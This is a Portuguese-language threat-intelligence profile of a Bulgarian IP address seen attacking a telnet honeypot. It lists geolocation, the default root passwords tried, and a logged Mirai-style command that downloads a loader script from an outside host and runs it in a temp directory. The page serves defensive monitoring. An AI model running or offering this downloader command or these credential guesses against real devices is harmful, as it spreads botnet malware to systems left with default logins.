TROYANOSYVIRUS
Ameaca Ativa • MEDIO

185.246.131.94

Pais de Origem🇧🇬 BG
Primeira Deteccao18/04/2026
Ultima Atividade18/04/2026
ISPBrainStorm Network, Inc
🎯
226
Ataques Totais
🔌
1
Portas
📡
1
Tipos de Ataque
🦠
2
Malware

Geolocalizacao

Pais
🇧🇬 BG
Cidade
Sofia
ASN
AS136258
ISP
BrainStorm Network, Inc

Tipos de Ataque

ssh_telnet_honeypot

Portas Atacadas

23

Malware Associado

9641be11c9ed0855a453...→da41d24f215ed0146853...→

Credenciais Tentadas

🔐root/password
12x
🔐root/(vazio)
12x
🔐root/admin
11x
🔐root/root
9x
🔐root/12345
3x

Comandos Executados

$cd /tmp || cd /run || cd /var/run || cd /dev/shm; wget https://tg-xxooxx888.8964.mom/loader.sh -O .x 2>/dev/null || curl -s https://tg-xxooxx888.8964.mom/loader.sh -o .x; chmod 777 .x; ./.x telnet; rm -f .x15x
$echo mirai15x

Exposicao Shodan InternetDBShodan

Dados InternetDB, nao em tempo real

Avaliacao de Risco

45
/100
BaixoMedioAltoCritico